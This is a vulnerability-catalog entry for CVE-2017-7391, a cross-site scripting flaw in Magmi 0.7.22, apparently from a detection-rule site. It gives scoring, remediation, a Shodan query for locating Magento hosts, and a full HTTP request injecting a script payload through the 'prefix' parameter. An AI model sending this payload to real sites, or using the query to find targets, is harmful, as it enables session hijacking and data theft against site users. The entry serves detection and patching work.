🔙 목록으로 돌아가기

CVE-2017-7391: Magmi 0.7.22 - Cross-Site Scripting

TitleMagmi 0.7.22 - Cross-Site Scripting
Authorpikpikcu
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
RemediationUpgrade to a patched version of Magmi or apply the necessary security patches to mitigate the XSS vulnerability.
CVSS Score6.1
EPSS Score0.08891
CVE IDCVE-2017-7391
CWE IDCWE-79
Shodan Queryhttp.component:"magento"
Tags cve2017 cve magmi xss magmi_project vkev vuln

🔍 Vulnerability Description

Magmi 0.7.22 contains a cross-site scripting vulnerability due to insufficient filtration of user-supplied data (prefix) passed to the magmi-git-master/magmi/web/ajax_gettime.php URL.

🌐 HTTP Request

GET /magmi/web/ajax_gettime.php?prefix=%22%3E%3Cscript%3Ealert(document.domain);%3C/script%3E%3C HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/3.6.12
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-7391.yaml

🦈 Packet Capture: ⬇️ Download cve-2017-7391.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A